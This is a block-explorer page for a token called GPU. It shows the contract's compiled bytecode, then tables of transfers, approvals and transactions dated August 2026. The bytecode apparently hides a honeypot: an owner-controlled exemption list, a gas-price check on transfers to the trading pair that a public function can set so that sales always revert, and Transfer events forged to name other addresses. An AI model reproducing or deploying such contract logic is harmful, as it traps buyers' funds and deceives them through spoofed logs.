0x608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806370a08231116100f7578063bc6f5f0911610095578063dd62ed3e1161006f578063dd62ed3e1461046f578063e280c6111461049f578063e534155d146104bb578063f2dd9e78146104d9576101a7565b8063bc6f5f091461043f578063c9567bf91461045b578063cf822e6f14610465576101a7565b8063a239f4bb116100d1578063a239f4bb146103cb578063a457c2d7146103d5578063a5a5344814610405578063a9059cbb1461040f576101a7565b806370a082311461037357806395803aeb146103a357806395d89b41146103ad576101a7565b8063395093511161016457806347bbac051161013e57806347bbac05146102eb5780635408d42d1461031b57806363aedb3814610339578063689d14b914610355576101a7565b8063395093511461028357806342966c68146102b35780634510c50c146102cf576101a7565b806306fdde03146101ab578063095ea7b3146101c95780630aca7f95146101f957806318160ddd1461021757806323b872dd14610235578063313ce56714610265575b5f80fd5b6101b36104e3565b6040516101c091906119c3565b60405180910390f35b6101e360048036038101906101de9190611a81565b610573565b6040516101f09190611ad9565b60405180910390f35b610201610589565b60405161020e9190611b01565b60405180910390f35b61021f6105ae565b60405161022c9190611b29565b60405180910390f35b61024f600480360381019061024a9190611b42565b6105b7565b60405161025c9190611ad9565b60405180910390f35b61026d610663565b60405161027a9190611bad565b60405180910390f35b61029d60048036038101906102989190611a81565b610679565b6040516102aa9190611ad9565b60405180910390f35b6102cd60048036038101906102c89190611bc6565b610719565b005b6102e960048036038101906102e49190611bf1565b610726565b005b61030560048036038101906103009190611bf1565b6107f8565b6040516103129190611ad9565b60405180910390f35b610323610815565b6040516103309190611ad9565b60405180910390f35b610353600480360381019061034e9190611e1c565b610828565b005b61035d61091a565b60405161036a9190611b01565b60405180910390f35b61038d60048036038101906103889190611bf1565b61093f565b60405161039a9190611b29565b60405180910390f35b6103ab610984565b005b6103b56109e7565b6040516103c291906119c3565b60405180910390f35b6103d3610a77565b005b6103ef60048036038101906103ea9190611a81565b610a80565b6040516103fc9190611ad9565b60405180910390f35b61040d610b2b565b005b61042960048036038101906104249190611a81565b610b8e565b6040516104369190611ad9565b60405180910390f35b61045960048036038101906104549190611efd565b610ba4565b005b610463610cd4565b005b61046d610d80565b005b61048960048036038101906104849190611f48565b610d8b565b6040516104969190611b29565b60405180910390f35b6104b960048036038101906104b49190611bf1565b610e0d565b005b6104c3610ef4565b6040516104d09190611b01565b60405180910390f35b6104e1610f19565b005b6060600980546104f290611fb3565b80601f016020809104026020016040519081016040528092919081815260200182805461051e90611fb3565b80156105695780601f1061054057610100808354040283529160200191610569565b820191905f5260205f20905b81548152906001019060200180831161054c57829003601f168201915b5050505050905090565b5f61057f338484610f7c565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f6105c384848461113f565b61065884336106538560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b610f7c565b600190509392505050565b5f600760159054906101000a900460ff16905090565b5f61070f338461070a8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461132e90919063ffffffff16565b610f7c565b6001905092915050565b610723338261138b565b50565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ac9061202d565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6004602052805f5260405f205f915054906101000a900460ff1681565b600760149054906101000a900460ff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ae9061202d565b60405180910390fd5b5f5b825181101561091457610901338483815181106108d9576108d861204b565b5b60200260200101518484815181106108f4576108f361204b565b5b602002602001015161113f565b808061090c906120a5565b9150506108b9565b50505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600880546109f690611fb3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2290611fb3565b8015610a6d5780601f10610a4457610100808354040283529160200191610a6d565b820191905f5260205f20905b815481529060010190602001808311610a5057829003601f168201915b5050505050905090565b5f600381905550565b5f610b163384610b118560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b610f7c565b610b2160035461150c565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610b9a33848461113f565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612136565b60405180910390fd5b5f5b82829050811015610ccf57600160045f858585818110610c5857610c5761204b565b5b9050602002016020810190610c6d9190611bf1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610cc7906120a5565b915050610c35565b505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5a9061202d565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b600354600381905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390612136565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe1906121c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612252565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111329190611b29565b60405180910390a3505050565b60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561119e5761119983838361151a565b6112cc565b600760149054906101000a900460ff166111ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e4906122ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036112515761124c83838361151a565b6112cc565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112c0576112af8382610a80565b506112bb83838361151a565b6112cc565b6112cb83838361151a565b5b505050565b5f82821115611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612322565b60405180910390fd5b5f82846113229190612340565b90508091505092915050565b5f80828461133c9190612373565b905083811015611381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611378906123f0565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f09061247e565b60405180910390fd5b61140e816002546112d190919063ffffffff16565b600281905550611463815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115009190611b29565b60405180910390a35050565b803a10611517575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f9061250c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed9061259a565b60405180910390fd5b611645815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112d190919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116d4815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461132e90919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117f3578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117e69190611b29565b60405180910390a36118cf565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ce5760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118c59190611b29565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161192c9190611b29565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611970578082015181840152602081019050611955565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61199582611939565b61199f8185611943565b93506119af818560208601611953565b6119b88161197b565b840191505092915050565b5f6020820190508181035f8301526119db818461198b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611a1d826119f4565b9050919050565b611a2d81611a13565b8114611a37575f80fd5b50565b5f81359050611a4881611a24565b92915050565b5f819050919050565b611a6081611a4e565b8114611a6a575f80fd5b50565b5f81359050611a7b81611a57565b92915050565b5f8060408385031215611a9757611a966119ec565b5b5f611aa485828601611a3a565b9250506020611ab585828601611a6d565b9150509250929050565b5f8115159050919050565b611ad381611abf565b82525050565b5f602082019050611aec5f830184611aca565b92915050565b611afb81611a13565b82525050565b5f602082019050611b145f830184611af2565b92915050565b611b2381611a4e565b82525050565b5f602082019050611b3c5f830184611b1a565b92915050565b5f805f60608486031215611b5957611b586119ec565b5b5f611b6686828701611a3a565b9350506020611b7786828701611a3a565b9250506040611b8886828701611a6d565b9150509250925092565b5f60ff82169050919050565b611ba781611b92565b82525050565b5f602082019050611bc05f830184611b9e565b92915050565b5f60208284031215611bdb57611bda6119ec565b5b5f611be884828501611a6d565b91505092915050565b5f60208284031215611c0657611c056119ec565b5b5f611c1384828501611a3a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c568261197b565b810181811067ffffffffffffffff82111715611c7557611c74611c20565b5b80604052505050565b5f611c876119e3565b9050611c938282611c4d565b919050565b5f67ffffffffffffffff821115611cb257611cb1611c20565b5b602082029050602081019050919050565b5f80fd5b5f611cd9611cd484611c98565b611c7e565b90508083825260208201905060208402830185811115611cfc57611cfb611cc3565b5b835b81811015611d255780611d118882611a3a565b845260208401935050602081019050611cfe565b5050509392505050565b5f82601f830112611d4357611d42611c1c565b5b8135611d53848260208601611cc7565b91505092915050565b5f67ffffffffffffffff821115611d7657611d75611c20565b5b602082029050602081019050919050565b5f611d99611d9484611d5c565b611c7e565b90508083825260208201905060208402830185811115611dbc57611dbb611cc3565b5b835b81811015611de55780611dd18882611a6d565b845260208401935050602081019050611dbe565b5050509392505050565b5f82601f830112611e0357611e02611c1c565b5b8135611e13848260208601611d87565b91505092915050565b5f805f60608486031215611e3357611e326119ec565b5b5f611e4086828701611a3a565b935050602084013567ffffffffffffffff811115611e6157611e606119f0565b5b611e6d86828701611d2f565b925050604084013567ffffffffffffffff811115611e8e57611e8d6119f0565b5b611e9a86828701611def565b9150509250925092565b5f80fd5b5f8083601f840112611ebd57611ebc611c1c565b5b8235905067ffffffffffffffff811115611eda57611ed9611ea4565b5b602083019150836020820283011115611ef657611ef5611cc3565b5b9250929050565b5f8060208385031215611f1357611f126119ec565b5b5f83013567ffffffffffffffff811115611f3057611f2f6119f0565b5b611f3c85828601611ea8565b92509250509250929050565b5f8060408385031215611f5e57611f5d6119ec565b5b5f611f6b85828601611a3a565b9250506020611f7c85828601611a3a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fca57607f821691505b602082108103611fdd57611fdc611f86565b5b50919050565b7f706c0000000000000000000000000000000000000000000000000000000000005f82015250565b5f612017600283611943565b915061202282611fe3565b602082019050919050565b5f6020820190508181035f8301526120448161200b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120af82611a4e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120e1576120e0612078565b5b600182019050919050565b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f612120600683611943565b915061212b826120ec565b602082019050919050565b5f6020820190508181035f83015261214d81612114565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6121ae602483611943565b91506121b982612154565b604082019050919050565b5f6020820190508181035f8301526121db816121a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61223c602283611943565b9150612247826121e2565b604082019050919050565b5f6020820190508181035f83015261226981612230565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6122a4601d83611943565b91506122af82612270565b602082019050919050565b5f6020820190508181035f8301526122d181612298565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61230c601e83611943565b9150612317826122d8565b602082019050919050565b5f6020820190508181035f83015261233981612300565b9050919050565b5f61234a82611a4e565b915061235583611a4e565b925082820390508181111561236d5761236c612078565b5b92915050565b5f61237d82611a4e565b915061238883611a4e565b92508282019050808211156123a05761239f612078565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6123da601b83611943565b91506123e5826123a6565b602082019050919050565b5f6020820190508181035f830152612407816123ce565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f612468602183611943565b91506124738261240e565b604082019050919050565b5f6020820190508181035f8301526124958161245c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124f6602583611943565b91506125018261249c565b604082019050919050565b5f6020820190508181035f830152612523816124ea565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612584602383611943565b915061258f8261252a565b604082019050919050565b5f6020820190508181035f8301526125b181612578565b905091905056fea2646970667358221220def07c6ca9723114201897f4a54c3b159d2ae5a320f12b050e95fa7fb1fe9f8a64736f6c63430008140033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x16e014…321942 | 6 hrs agoMon, 17 Aug 2026 20:22:55 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…7290afa9 data: 0x000000000000000000…d4dfc2db |
| 0x7babf3…8b63d7 | 6 hrs agoMon, 17 Aug 2026 20:22:54 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…0e9fa1e1 data: 0x000000000000000000…4b8ee065 |
| 0x7babf3…8b63d7 | 6 hrs agoMon, 17 Aug 2026 20:22:54 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…0e9fa1e1 data: 0x000000000000000000…4b8ee065 |
| 0x7babf3…8b63d7 | 6 hrs agoMon, 17 Aug 2026 20:22:54 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…eb649eba data: 0x000000000000000000…4b8ee065 |
| 0xb7d161…9e6997 | 11 hrs agoMon, 17 Aug 2026 16:02:36 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…47d11cea data: 0x000000000000000000…6154ba1f |
| 0xcc8831…a14f8d | 11 hrs agoMon, 17 Aug 2026 16:02:26 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…3b61510a data: 0x000000000000000000…c9c0450e |
| 0x08fa6c…d91951 | 11 hrs agoMon, 17 Aug 2026 16:02:21 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…68e41be3 data: 0x000000000000000000…d9db9b11 |
| 0xf22fc1…5dfdba | 11 hrs agoMon, 17 Aug 2026 16:02:16 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…47d11cea data: 0x000000000000000000…74eaefd8 |
| 0x9644c1…f43180 | 11 hrs agoMon, 17 Aug 2026 16:01:35 UTC | Approval | [0] 0x000000000000…68e41be3 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x77f5e2…26074a | 11 hrs agoMon, 17 Aug 2026 16:01:35 UTC | Approval | [0] 0x000000000000…3b61510a [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0xd5a8b8…b4d731 | 11 hrs agoMon, 17 Aug 2026 16:01:35 UTC | Approval | [0] 0x000000000000…47d11cea [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x6d1fda…774b3c | 11 hrs agoMon, 17 Aug 2026 15:50:44 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…44ab416b data: 0x000000000000000000…441fa667 |
| 0xa1dcfb…250d9d | 11 hrs agoMon, 17 Aug 2026 15:50:30 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…88830b7c data: 0x000000000000000000…9171c4cd |
| 0x8c512d…d3da04 | 11 hrs agoMon, 17 Aug 2026 15:50:20 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…655db3e3 data: 0x000000000000000000…c750fb7b |
| 0x05d301…7dcdde | 11 hrs agoMon, 17 Aug 2026 15:49:36 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…655db3e3 data: 0x000000000000000000…cd5ec7fe |
| 0xa28479…abbc14 | 11 hrs agoMon, 17 Aug 2026 15:49:10 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…213184d8 data: 0x000000000000000000…fcb4958f |
| 0xd6ca10…14c727 | 11 hrs agoMon, 17 Aug 2026 15:48:47 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…2b4e6448 data: 0x000000000000000000…01e5574a |
| 0x36b9a3…81b0bf | 11 hrs agoMon, 17 Aug 2026 15:48:25 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…762530fa data: 0x000000000000000000…d08cf78f |
| 0x1daf8d…a364ec | 11 hrs agoMon, 17 Aug 2026 15:48:03 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…31573fe2 data: 0x000000000000000000…d120836b |
| 0x0e7733…f96c4a | 11 hrs agoMon, 17 Aug 2026 15:47:22 UTC | Transfer | [0] 0x000000000000…b579b5ff [1] 0x000000000000…c1a1eb73 data: 0x000000000000000000…6abcb60d |
| 0xd9b527…2336cb | 11 hrs agoMon, 17 Aug 2026 15:23:25 UTC | Approval | [0] 0x000000000000…0e9fa1e1 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…17ffffff |
| 0xd9b527…2336cb | 11 hrs agoMon, 17 Aug 2026 15:23:25 UTC | Transfer | [0] 0x000000000000…0e9fa1e1 [1] 0x000000000000…b579b5ff data: 0x000000000000000000…e8000000 |
| 0xd9b527…2336cb | 11 hrs agoMon, 17 Aug 2026 15:23:25 UTC | Transfer | [0] 0x000000000000…0e9fa1e1 [1] 0x000000000000…b579b5ff data: 0x000000000000000000…e8000000 |
| 0x062d6c…016c3d | 11 hrs agoMon, 17 Aug 2026 15:23:19 UTC | Approval | [0] 0x000000000000…0e9fa1e1 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x982785…27c38e | 11 hrs agoMon, 17 Aug 2026 15:21:46 UTC | Transfer | [0] 0x000000000000…00000000 [1] 0x000000000000…0e9fa1e1 data: 0x000000000000000000…e8000000 |
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| no internal transactions found for this address yet (traced blocks + on-demand) | ||||||||
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x77f5e2…26074a | Approve | 38,964,328 | 11 hrs agoMon, 17 Aug 2026 16:01:35 UTC | 0xf8de…510a | IN | GPU | $0.000 ETH | 0.00000095 | |
| 0xd5a8b8…b4d731 | Approve | 38,964,328 | 11 hrs agoMon, 17 Aug 2026 16:01:35 UTC | 0x6a75…1cea | IN | GPU | $0.000 ETH | 0.00000095 | |
| 0x9644c1…f43180 | Approve | 38,964,328 | 11 hrs agoMon, 17 Aug 2026 16:01:35 UTC | 0x9642…1be3 | IN | GPU | $0.000 ETH | 0.00000095 | |
| 0x9d3df2…74b686 | multiSwap | 38,955,304 | 11 hrs agoMon, 17 Aug 2026 15:46:30 UTC | 0xcb43…a1e1 | IN | GPU | $0.000 ETH | 0.00000095 | |
| 0xe2e761…2a6168 | openTrading | 38,955,194 | 11 hrs agoMon, 17 Aug 2026 15:46:19 UTC | 0xcb43…a1e1 | IN | GPU | $0.000 ETH | 0.00000057 | |
| 0x062d6c…016c3d | Approve | 38,941,408 | 11 hrs agoMon, 17 Aug 2026 15:23:19 UTC | 0xcb43…a1e1 | IN | GPU | $0.000 ETH | 0.00000094 |